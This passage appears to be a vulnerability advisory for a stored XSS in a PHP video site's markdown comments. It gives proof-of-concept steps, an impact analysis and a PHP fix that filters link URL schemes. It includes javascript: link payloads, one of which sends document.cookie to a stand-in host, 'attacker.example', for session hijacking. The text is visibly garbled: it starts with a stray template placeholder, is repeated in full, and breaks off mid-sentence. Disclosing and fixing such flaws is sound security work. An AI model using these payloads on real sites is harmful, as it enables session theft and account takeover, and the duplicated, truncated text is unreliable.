{commentWithLinks}
`\n\n## PoC\n\n1. Log in as any user with comment permission\n2. Navigate to any video page\n3. Post a comment with the following markdown:\n\n```\n[Click here for more info](javascript:alert(document.cookie))\n```\n\n4. The comment is saved and rendered. Any user viewing the video sees \"Click here for more info\" as a clickable link\n5. Clicking the link executes `alert(document.cookie)` in the victim's browser context\n\nFor session hijacking:\n```\n[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover\n- **Scope change (S:C):** The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context\n- **Persistence:** The payload is stored in the database and triggers for every user who views the page and clicks the link\n- **UI:R required:** The victim must click the link, which limits the severity vs. auto-executing XSS\n\n## Recommended Fix\n\nOverride `inlineLink()` in `ParsedownSafeWithLinks` to apply URL scheme filtering to markdown-generated links:\n\n```php\nclass ParsedownSafeWithLinks extends Parsedown\n{\n // ... existing code ...\n\n protected function inlineLink($Excerpt)\n {\n $Link = parent::inlineLink($Excerpt);\n\n if ($Link === null) {\n return null;\n }\n\n $href = $Link['element']['attributes']['href'] ?? '';\n\n // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors\n if ($href !== '' && !preg_match('/^(https?:\\/\\/|mailto:|\\/|#)/i', $href)) {\n $Link['element']['attributes']['href'] = '';\n }\n\n return $Link;\n }\n}\n```\n\nAlternatively, re-enable `safeMode(true)` and find a different approach to allow `` and `{commentWithLinks}
`\n\n## PoC\n\n1. Log in as any user with comment permission\n2. Navigate to any video page\n3. Post a comment with the following markdown:\n\n```\n[Click here for more info](javascript:alert(document.cookie))\n```\n\n4. The comment is saved and rendered. Any user viewing the video sees \"Click here for more info\" as a clickable link\n5. Clicking the link executes `alert(document.cookie)` in the victim's browser context\n\nFor session hijacking:\n```\n[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover\n- **Scope change (S:C):** The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context\n- **Persistence:** The payload is stored in the database and triggers for every user who views the page and clicks the link\n- **UI:R required:** The victim must click the link, which limits the severity vs. auto-executing XSS\n\n## Recommended Fix\n\nOverride `inlineLink()` in `ParsedownSafeWithLinks` to apply URL scheme filtering to markdown-generated links:\n\n```php\nclass ParsedownSafeWithLinks extends Parsedown\n{\n // ... existing code ...\n\n protected function inlineLink($Excerpt)\n {\n $Link = parent::inlineLink($Excerpt);\n\n if ($Link === null) {\n return null;\n }\n\n $href = $Link['element']['attributes']['href'] ?? '';\n\n // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors\n if ($href !== '' && !preg_match('/^(https?:\\/\\/|mailto:|\\/|#)/i', $href)) {\n $Link['element']['attributes']['href'] = '';\n }\n\n return $Link;\n }\n}\n```\n\nAlternatively, re-enable `safeMode(true)` and find a different approach to allow `` and `